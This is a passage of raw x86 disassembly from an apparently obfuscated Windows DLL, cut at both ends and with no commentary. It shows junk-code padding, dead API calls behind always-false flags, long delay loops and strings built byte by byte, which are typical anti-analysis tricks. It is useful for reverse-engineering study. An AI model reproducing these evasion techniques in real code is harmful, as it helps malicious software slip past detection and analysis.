jmp 0x1001a252
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0xd
jae 0x1001a3c8
mov dword [ebp - 0xac], 0xffffffff
mov dword [ebp - 0x2b4], 0xdfe4b283
mov dword [ebp - 0x2a4], 1
mov dword [ebp - 0x2c4], 0x28a062b0
mov dword [ebp - 0x50], 0
jmp 0x1001a297
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x1001a2ad
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xa68], 0x1836ccb0
jmp 0x1001a290
mov dword [ebp - 0x50], 0
jmp 0x1001a2bd
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x1001a2d3
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x970], 0x32aa61fc
jmp 0x1001a2b6
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0xa1c], eax
mov dword [ebp - 0x2a4], 0x6137
mov eax, dword [ebp - 0x2a4]
cmp eax, dword [ebp - 0xac]
jg 0x1001a309
cmp dword [ebp - 0x2c4], 0
jne 0x1001a309
and dword [ebp - 0x2bc], 0
jmp 0x1001a313
mov dword [ebp - 0x2bc], 1
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x2ac], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2ac]
mov dword [ebp + eax - 0xa68], ecx
xor eax, eax
sub eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp - 0x2b4]
cmp eax, dword [ebp - 0x2bc]
jg 0x1001a35a
mov dword [ebp - 0x2cc], 1
jmp 0x1001a361
and dword [ebp - 0x2cc], 0
mov eax, dword [ebp - 0x2c4]
imul eax, dword [ebp - 0x2cc]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x970], eax
mov dword [ebp - 0xac], 0
jmp 0x1001a394
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0xa
jne 0x1001a3b3
mov dword [ebp - 0x710], 0x187110e6
mov dword [ebp - 0x710], 0xffffffff
jmp 0x1001a387
xor eax, eax
mov ecx, dword [ebp - 0x208]
mov word [ebp + ecx*2 - 0x874], ax
jmp 0x1001a245
mov dword [ebp - 0x104], 0x3ae35568
mov dword [ebp - 0x104], 0xffffffe6
jmp 0x1001a3eb
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0xffffffe7
jge 0x1001a565
push 4
lea ecx, [ebp - 0x7ac]
call fcn.10004d70
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xa24], 0xfffffff7
mov dword [ebp - 0x2d4], 7
mov dword [ebp - 0x1d0], 0
jmp 0x1001a443
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 4
jge 0x1001a465
push dword [ebp - 0x1d0]
lea ecx, [ebp - 0x7ac]
call fcn.10004e0f
mov dword [eax], 0xffff
jmp 0x1001a436
mov dword [ebp - 0xe8], 3
jmp 0x1001a47e
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
jl 0x1001a534
mov dword [ebp - 0x7f4], 0xe8588d0d
mov dword [ebp - 0x7f0], 0xe8588d0d
mov dword [ebp - 0x7ec], 0xe8588d0d
mov dword [ebp - 0x7e8], 0xe8588d0d
lea ecx, [ebp - 0x279]
call fcn.10004e1e
push eax
lea eax, [ebp - 0x7e4]
push eax
lea eax, [ebp - 0x7f4]
push eax
lea ecx, [ebp - 0xab4]
call fcn.10004e21
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x9ac]
call fcn.10004dcd
mov byte [ebp - 4], 0x1c
push dword [ebp - 0xe8]
lea ecx, [ebp - 0x7ac]
call fcn.10004e0f
cmp dword [eax], 0
je 0x1001a513
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x9ac]
call fcn.10004df3
jmp 0x1001a534
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x9ac]
call fcn.10004df3
jmp 0x1001a471
cmp dword [ebp - 0x104], 0
je 0x1001a551
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7ac]
call fcn.10004df3
jmp 0x1001a3de
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7ac]
call fcn.10004df3
jmp 0x1001a3de
cmp dword [ebp - 0x494], 0
je 0x1001b7be
mov dword [ebp - 0x158], 0xfffffffc
mov dword [ebp - 0x158], 0
jmp 0x1001a595
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0xc
jne 0x1001a5b5
mov dword [ebp - 0x640], 0x951f
cmp dword [ebp - 0x640], 0
je 0x1001a5b3
jmp 0x1001a5b5
jmp 0x1001a588
mov byte [ebp - 0xcd], 0
movzx eax, byte [ebp - 0xcd]
test eax, eax
je 0x1001a5db
push 0
push 0x209
push 0
push 0xc3f
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x664], 9
mov dword [ebp - 0x18], 0
jmp 0x1001a5fc
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
je 0x1001a93e
mov dword [ebp - 0x108], 0
mov dword [ebp - 0xb4], 7
mov dword [ebp - 0x740], 0xa6603fa8
mov dword [ebp - 0x34c], 2
cmp dword [ebp - 0x108], 0
je 0x1001a63c
jmp 0x1001a93e
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x18]
sub eax, 0x64e62b50
cmp eax, 7
je 0x1001a65e
mov dword [ebp - 0x2dc], 1
jmp 0x1001a665
and dword [ebp - 0x2dc], 0
mov eax, dword [ebp - 0x2dc]
add eax, 0x57cf
jne 0x1001a684
cmp dword [ebp - 0xb4], 0
jne 0x1001a684
and dword [ebp - 0x754], 0
jmp 0x1001a68e
mov dword [ebp - 0x754], 1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xa2c], eax
cmp dword [ebp - 0xb4], 0
jne 0x1001a6b2
cmp dword [ebp - 0x108], 0
jne 0x1001a6b2
and dword [ebp - 0x2e4], 0
jmp 0x1001a6bc
mov dword [ebp - 0x2e4], 1
cmp dword [ebp - 0x2e4], 0x6a42
jle 0x1001a6d4
mov dword [ebp - 0x64c], 1
jmp 0x1001a6db
and dword [ebp - 0x64c], 0
cmp dword [ebp - 0x18], 0x7c925701
jne 0x1001a6f6
cmp dword [ebp - 0x18], 0
je 0x1001a6f6
mov dword [ebp - 0x2ec], 1
jmp 0x1001a6fd
and dword [ebp - 0x2ec], 0
mov eax, dword [ebp - 0xb4]
cmp eax, dword [ebp - 0x2ec]
jge 0x1001a717
mov dword [ebp - 0x2f4], 1
jmp 0x1001a71e
and dword [ebp - 0x2f4], 0
cmp dword [ebp - 0x2f4], 0
jne 0x1001a736
cmp dword [ebp - 0x18], 0
jne 0x1001a736
and dword [ebp - 0x2fc], 0
jmp 0x1001a740
mov dword [ebp - 0x2fc], 1
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x2fc], eax
jge 0x1001a75a
mov dword [ebp - 0x75c], 1
jmp 0x1001a761
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jg 0x1001a775
mov dword [ebp - 0x304], 1
jmp 0x1001a77c
and dword [ebp - 0x304], 0
cmp dword [ebp - 0x304], 0xffffffff
jge 0x1001a791
mov dword [ebp - 0x30c], 1
jmp 0x1001a798
and dword [ebp - 0x30c], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x30c], eax
jg 0x1001a7af
mov dword [ebp - 0x314], 1
jmp 0x1001a7b6
and dword [ebp - 0x314], 0
cmp dword [ebp - 0x314], 0x4227f44f
jle 0x1001a7ce
mov dword [ebp - 0x31c], 1
jmp 0x1001a7d5
and dword [ebp - 0x31c], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x31c]
jge 0x1001a7ec
mov dword [ebp - 0x324], 1
jmp 0x1001a7f3
and dword [ebp - 0x324], 0
cmp dword [ebp - 0x324], 0
je 0x1001a808
mov dword [ebp - 0x32c], 1
jmp 0x1001a80f
and dword [ebp - 0x32c], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x32c], eax
jge 0x1001a826
mov dword [ebp - 0x334], 1
jmp 0x1001a82d
and dword [ebp - 0x334], 0
cmp dword [ebp - 0x334], 0
jge 0x1001a83b
or eax, 0xffffffff
jne 0x1001a84d
cmp dword [ebp - 0x108], 0
jne 0x1001a84d
and dword [ebp - 0x33c], 0
jmp 0x1001a857
mov dword [ebp - 0x33c], 1
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
je 0x1001a881
mov eax, 0xc19ac4e6
test eax, eax
je 0x1001a881
mov dword [ebp - 0x658], 1
jmp 0x1001a888
and dword [ebp - 0x658], 0
mov eax, dword [ebp - 0x740]
mov dword [ebp - 0xa34], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xa3c], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0xa44], eax
cmp dword [ebp - 0x18], 0xfffffffa
je 0x1001a8bb
mov dword [ebp - 0x344], 1
jmp 0x1001a8c2
and dword [ebp - 0x344], 0
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0xfffb
jne 0x1001a8e6
mov dword [ebp - 0x2a0], 1
jmp 0x1001a8ed
and dword [ebp - 0x2a0], 0
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x2a0], eax
jne 0x1001a907
mov dword [ebp - 0x35c], 1
jmp 0x1001a90e
and dword [ebp - 0x35c], 0
cmp dword [ebp - 0x35c], 0x257d
jl 0x1001a926
mov dword [ebp - 0x364], 1
jmp 0x1001a92d
and dword [ebp - 0x364], 0
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0x664], eax
jmp 0x1001a5f5
push 4
lea ecx, [ebp - 0x9bc]
call fcn.10004d70
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x164], 0xfffffff9
mov dword [ebp - 0x150], 0
jmp 0x1001a975
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 4
jge 0x1001a997
push dword [ebp - 0x150]
lea ecx, [ebp - 0x9bc]
call fcn.10004e0f
mov dword [eax], 0xfffffffb
jmp 0x1001a968
mov dword [ebp - 0x164], 3
jmp 0x1001a9b0
mov eax, dword [ebp - 0x164]
dec eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
jl 0x1001a9e0
mov byte [ebp - 0x91], 0
movzx eax, byte [ebp - 0x91]
test eax, eax
je 0x1001a9de
push 0
push 0
push 0x154d
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
jmp 0x1001a9a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9bc]
call fcn.10004df3
mov byte [ebp - 0x14c], 2
mov byte [ebp - 0x14b], 0x56
mov byte [ebp - 0x14a], 3
mov byte [ebp - 0x149], 0x24
mov byte [ebp - 0x148], 8
mov byte [ebp - 0x147], 0x34
mov byte [ebp - 0x146], 0xb
mov byte [ebp - 0x145], 1
mov byte [ebp - 0x144], 0
mov byte [ebp - 0x143], 0x22
mov byte [ebp - 0x142], 6
mov byte [ebp - 0x141], 0x24
mov byte [ebp - 0x140], 0xd
mov byte [ebp - 0x13f], 0x10
mov byte [ebp - 0x13e], 4
mov byte [ebp - 0x13d], 1
mov byte [ebp - 0x13c], 5
mov byte [ebp - 0x13b], 0x1d
mov byte [ebp - 0x13a], 1
mov byte [ebp - 0x139], 0xa
mov byte [ebp - 0x138], 0xa
mov byte [ebp - 0x137], 0x17
mov byte [ebp - 0x136], 7
mov byte [ebp - 0x135], 0x33
mov byte [ebp - 0x134], 0xc
mov byte [ebp - 0x133], 0x32
mov byte [ebp - 0x132], 9
mov byte [ebp - 0x131], 0x17
push 2
lea ecx, [ebp - 0x250]
call fcn.10004d70
mov dword [ebp - 4], 0x1e
mov dword [ebp - 0x670], 0xf95e
mov dword [ebp - 0x760], 0x4c259dba
mov dword [ebp - 0x16c], 0
jmp 0x1001aaf4
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 2
jge 0x1001ab16
push dword [ebp - 0x16c]
lea ecx, [ebp - 0x250]
call fcn.10004e0f
mov dword [eax], 0xfffffffb
jmp 0x1001aae7
push 1
lea ecx, [ebp - 0x250]
call fcn.10004e0f
mov dword [eax], 0xffffffe6
jmp 0x1001ab4f
push 1
lea ecx, [ebp - 0x250]
call fcn.10004e0f
mov dword [ebp - 0x36c], eax
mov eax, dword [ebp - 0x36c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x36c]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x250]
call fcn.10004e0f
cmp dword [eax], 0xfffffff4
jle 0x1001ae2d
mov dword [ebp - 0x38], 9
mov dword [ebp - 0x374], 0xffffffff
mov dword [ebp - 0x3a4], 1
mov dword [ebp - 0x728], 0xa2e5769e
mov dword [ebp - 0x688], 0x65da1f79
xor eax, eax
inc eax
je 0x1001acd2
push 0
lea ecx, [ebp - 0x250]
call fcn.10004e0f
cmp dword [eax], 1
jbe 0x1001abbb
mov dword [ebp - 0x394], 1
jmp 0x1001abc2
and dword [ebp - 0x394], 0
cmp dword [ebp - 0x38], 0
je 0x1001abcc
cmp dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0xe6d5
jg 0x1001ac03
push 1
lea ecx, [ebp - 0x250]
call fcn.10004e0f
cmp dword [eax], 0
je 0x1001ac03
xor eax, eax
je 0x1001ac03
mov dword [ebp - 0x37c], 1
jmp 0x1001ac0a
and dword [ebp - 0x37c], 0
mov eax, dword [ebp - 0x37c]
sub eax, dword [ebp - 0x38]
je 0x1001ac33
push 1
lea ecx, [ebp - 0x250]
call fcn.10004e0f
cmp dword [eax], 0
je 0x1001ac33
mov dword [ebp - 0x384], 1
jmp 0x1001ac3a
and dword [ebp - 0x384], 0
push 1
lea ecx, [ebp - 0x250]
call fcn.10004e0f
mov ecx, dword [ebp - 0x384]
cmp ecx, dword [eax]
je 0x1001ac5d
mov dword [ebp - 0x38c], 1
jmp 0x1001ac64
and dword [ebp - 0x38c], 0
mov eax, dword [ebp - 0x38c]
sub eax, 0x60be6286
cmp dword [ebp - 0x38], eax
jle 0x1001ac80
mov dword [ebp - 0x39c], 1
jmp 0x1001ac87
and dword [ebp - 0x39c], 0
mov eax, dword [ebp - 0x394]
cmp eax, dword [ebp - 0x39c]
jge 0x1001aca1
mov dword [ebp - 0x720], 1
jmp 0x1001aca8
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x9d8], eax
mov eax, dword [ebp - 0x670]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
je 0x1001acd2
mov dword [ebp - 0x3ac], 1
jmp 0x1001acd9
and dword [ebp - 0x3ac], 0
mov eax, dword [ebp - 0x760]
imul eax, dword [ebp - 0x3ac]
cmp eax, dword [ebp - 0x38]
jge 0x1001acf7
mov dword [ebp - 0x3b4], 1
jmp 0x1001acfe
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x3b4], eax
jle 0x1001ad15
mov dword [ebp - 0x3bc], 1
jmp 0x1001ad1c
and dword [ebp - 0x3bc], 0
imul eax, dword [ebp - 0x3bc], 0xac92
cmp eax, dword [ebp - 0x38]
jge 0x1001ad37
mov dword [ebp - 0x67c], 1
jmp 0x1001ad3e
and dword [ebp - 0x67c], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x9e8], eax
mov esi, dword [ebp - 0x728]
push 1
lea ecx, [ebp - 0x250]
call fcn.10004e0f
mov eax, dword [eax]
sub eax, 0x21ca7bc4
cmp eax, esi
jne 0x1001ad71
mov dword [ebp - 0x3c4], 1
jmp 0x1001ad78
and dword [ebp - 0x3c4], 0
push 1
lea ecx, [ebp - 0x250]
call fcn.10004e0f
mov ecx, dword [ebp - 0x3c4]
sub ecx, dword [eax]
je 0x1001ada2
push 0xfffffffffffffffb
pop eax
test eax, eax
je 0x1001ada2
mov dword [ebp - 0x3cc], 1
jmp 0x1001ada9
and dword [ebp - 0x3cc], 0
push 0
lea ecx, [ebp - 0x250]
call fcn.10004e0f
mov ecx, dword [ebp - 0x3cc]
cmp ecx, dword [eax]
jge 0x1001adcc
mov dword [ebp - 0x3d4], 1
jmp 0x1001add3
and dword [ebp - 0x3d4], 0
mov esi, dword [ebp - 0x38]
add esi, dword [ebp - 0x3d4]
push 1
lea ecx, [ebp - 0x250]
call fcn.10004e0f
cmp esi, dword [eax]
jle 0x1001adf9
mov dword [ebp - 0x3dc], 1
jmp 0x1001ae00
and dword [ebp - 0x3dc], 0
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x688], eax
mov byte [ebp - 0xb5], 0
movzx eax, byte [ebp - 0xb5]
test eax, eax
je 0x1001ae28
push 0
push 0
call dword [sym.imp.USER32.dll_EnumWindows]
jmp 0x1001ab2b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x250]
call fcn.10004df3
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x14c]
and eax, 0x22
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x14c]
or ecx, 0x22
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x14c]
mov byte [ebp + eax - 0x5e0], cl
mov dword [ebp - 0x48], 2
and dword [ebp - 0x258], 0
jmp 0x1001ae8d
cmp dword [ebp - 0x48], 0x1c
jae 0x1001b2e6
mov dword [ebp - 0x3c], 0xfffffffc
mov dword [ebp - 0xbc], 0xfffffffa
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x424], 1
mov dword [ebp - 0x42c], 0x361131e3
mov dword [ebp - 0x54], 0
jmp 0x1001aed6
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x1001aeec
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x950], 5
jmp 0x1001aecf
mov dword [ebp - 0x54], 0
jmp 0x1001aefc
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x1001af12
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x97c], 0xfffffffe
jmp 0x1001aef5
mov dword [ebp - 0x434], 0x68ce
mov dword [ebp - 0x6a0], str.ckzbkhl_uvtrtl_ceinmrc_bfvxsbhmi_ylcgxdvaf_dmorpe_cfmmai_igjynsc_inmtwsd_seh_gmfbjd_ewcdrqe
cmp dword [ebp - 0x434], 0x692c
jle 0x1001b00c
and dword [ebp - 0x174], 0
jmp 0x1001af4c
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x692a
jge 0x1001b00c
and dword [ebp - 0x17c], 0
jmp 0x1001af72
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x3e9d
jge 0x1001b007
and dword [ebp - 0x184], 0
jmp 0x1001af98
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x6bff
jge 0x1001b002
mov eax, dword [ebp - 0x174]
imul eax, dword [ebp - 0x17c]
add eax, dword [ebp - 0x184]
cdq
mov dword [ebp - 0x69c], eax
mov dword [ebp - 0x698], edx
push dword [ebp - 0x698]
push dword [ebp - 0x69c]
lea ecx, [ebp - 0xb70]
call fcn.10001a51
pop ecx
pop ecx
mov dword [ebp - 0x748], eax
mov ecx, dword [ebp - 0x748]
call fcn.10001c18
push eax
call fcn.1003fd76
pop ecx
lea ecx, [ebp - 0xb70]
call fcn.10001c0e
jmp 0x1001af8b
jmp 0x1001af65
jmp 0x1001af3f
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x880], eax
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0xbc]
sub eax, dword [ebp - 0x3c]
je 0x1001b035
xor eax, eax
inc eax
je 0x1001b035
mov dword [ebp - 0x3e4], 1
jmp 0x1001b03c
and dword [ebp - 0x3e4], 0
mov eax, dword [ebp - 0x3e4]
sub eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0xbc]
jge 0x1001b05c
mov dword [ebp - 0x3ec], 1
jmp 0x1001b063
and dword [ebp - 0x3ec], 0
cmp dword [ebp - 0x3ec], 0x3598
jge 0x1001b07b
mov dword [ebp - 0x3f4], 1
jmp 0x1001b082
and dword [ebp - 0x3f4], 0
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x18c]
sub eax, dword [ebp - 0xbc]
je 0x1001b0ad
xor eax, eax
inc eax
je 0x1001b0ad
mov dword [ebp - 0x3fc], 1
jmp 0x1001b0b4
and dword [ebp - 0x3fc], 0
cmp dword [ebp - 0x3fc], 0x4dd
je 0x1001b0d5
mov eax, 0xe10a3bdf
test eax, eax
je 0x1001b0d5
mov dword [ebp - 0x694], 1
jmp 0x1001b0dc
and dword [ebp - 0x694], 0
cmp dword [ebp - 0x3c], 4
jbe 0x1001b0ee
mov dword [ebp - 0x404], 1
jmp 0x1001b0f5
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x404], eax
jge 0x1001b10c
mov dword [ebp - 0x40c], 1
jmp 0x1001b113
and dword [ebp - 0x40c], 0
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0x40c], eax
jl 0x1001b12d
mov dword [ebp - 0x414], 1
jmp 0x1001b134
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x414], eax
jg 0x1001b146
cmp dword [ebp - 0x18c], 0
cmp dword [ebp - 0xbc], 0
jne 0x1001b161
cmp dword [ebp - 0x18c], 0
jne 0x1001b161
and dword [ebp - 0x41c], 0
jmp 0x1001b16b
mov dword [ebp - 0x41c], 1
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x41c]
jge 0x1001b182
mov dword [ebp - 0x730], 1
jmp 0x1001b189
and dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xa40], eax
mov dword [ebp - 0x424], 0x3fa3c9e4
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0x888], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x878], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x890], eax
mov eax, dword [ebp - 0x42c]
mov dword [ebp - 0x9f0], eax
cmp dword [ebp - 0x3c], 0x325cf162
jle 0x1001b1e7
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x19c], 0xfffffff6
push 2
lea ecx, [ebp - 0x858]
call fcn.10004d70
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x154], 0
jmp 0x1001b324
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 2
jge 0x1001b346
push dword [ebp - 0x154]
lea ecx, [ebp - 0x858]
call fcn.10004e0f
mov dword [eax], 0x97736eae
jmp 0x1001b317
mov dword [ebp - 0x30], 0xfffffffd
jmp 0x1001b356
cmp dword [ebp - 0x30], 0xfffffff2
jle 0x1001b56e
mov dword [ebp - 0x5c], 0xffffffff
mov dword [ebp - 0x454], 0x84b7b831
mov byte [ebp - 0x93], 0
movzx eax, byte [ebp - 0x93]
test eax, eax
je 0x1001b397
push 0
push 0x14c4
push 0
push 0x544
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x5c]
jl 0x1001b3ab
mov dword [ebp - 0x45c], 1
jmp 0x1001b3b2
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x30]
jge 0x1001b3cf
mov dword [ebp - 0x43c], 1
jmp 0x1001b3d6
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x43c], eax
je 0x1001b3f0
cmp dword [ebp - 0x5c], 0
jne 0x1001b3f0
and dword [ebp - 0x444], 0
jmp 0x1001b3fa
mov dword [ebp - 0x444], 1
mov eax, dword [ebp - 0x444]
neg eax
mov dword [ebp - 0x454], eax
cmp dword [ebp - 0x5c], 0xfffe
ja 0x1001b41d
mov dword [ebp - 0x44c], 1
jmp 0x1001b424
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x44c], eax
jge 0x1001b441
cmp dword [ebp - 0x454], 0
jne 0x1001b441
and dword [ebp - 0x464], 0
jmp 0x1001b44b
mov dword [ebp - 0x464], 1
mov eax, dword [ebp - 0x45c]
cmp eax, dword [ebp - 0x464]
jg 0x1001b465
mov dword [ebp - 0x758], 1
jmp 0x1001b46c
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x980], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x8a0], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xa28], eax
cmp dword [ebp - 0x30], 0x82f4e55b
jbe 0x1001b4a8
mov dword [ebp - 0x46c], 1
jmp 0x1001b4af
and dword [ebp - 0x46c], 0
cmp dword [ebp - 0x46c], 0xd0336d06
jb 0x1001b4c7
mov dword [ebp - 0x474], 1
jmp 0x1001b4ce
and dword [ebp - 0x474], 0
cmp dword [ebp - 0x474], 9
jne 0x1001b4fe
cmp dword [ebp - 0x19c], 0
je 0x1001b4fe
mov eax, 0xfffd
test eax, eax
je 0x1001b4fe
cmp dword [ebp - 0x19c], 0
je 0x1001b4fe
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x47c]
jne 0x1001b522
mov eax, 0xb13
test eax, eax
jne 0x1001b522
and dword [ebp - 0x484], 0
jmp 0x1001b52c
mov dword [ebp - 0x484], 1
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x484], eax
jge 0x1001b546
cmp dword [ebp - 0x30], 0
jne 0x1001b546
mov dword [ebp - 0x48c], 1
mov esi, dword [ebp - 0x5c]
imul esi, dword [ebp - 0x48c]
push 1
lea ecx, [ebp - 0x858]
call fcn.10004e0f
mov dword [eax], esi
jmp 0x1001b34f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x858]
call fcn.10004df3
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x5e0], 0
mov dword [ebp - 0xa14], 0xfffffffa
mov dword [ebp - 0xa10], 0xfffffffa
mov dword [ebp - 0xa0c], 0xfffffffa
mov dword [ebp - 0xa08], 0xfffffffa
mov dword [ebp - 0x1a4], 0x8e97eede
mov byte [ebp - 0xd6], 0
movzx eax, byte [ebp - 0xd6]
test eax, eax
je 0x1001b5dc
push 0
push 0x1cc5
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [ebp - 0x1a4], 3
jmp 0x1001b5f5
mov eax, dword [ebp - 0x1a4]
dec eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0
jl 0x1001b621
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x1001b61f
push 0
push 0xb3a
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
jmp 0x1001b5e8
lea eax, [ebp - 0x5e0]
push eax
lea ecx, [ebp - 0xa9c]
call fcn.1002273a
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x1ac], 0xfffffffc
mov dword [ebp - 0x1ac], 0
jmp 0x1001b65d
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0xc
jne 0x1001b67d
mov dword [ebp - 0x6ac], 0x951f
cmp dword [ebp - 0x6ac], 0
je 0x1001b67b
jmp 0x1001b67d
jmp 0x1001b650
mov byte [ebp - 0xbd], 0
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x1001b6a3
push 0
push 0x209
push 0
push 0xc3f
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
and dword [ebp - 0x1b4], 0
jmp 0x1001b6b9
cmp dword [ebp - 0x1b4], 0xf
jae 0x1001b791
mov dword [ebp - 0x64], 0
jmp 0x1001b6d6
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x1001b6ec
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0xa5c], 0xfffc
jmp 0x1001b6cf
mov dword [ebp - 0x64], 0
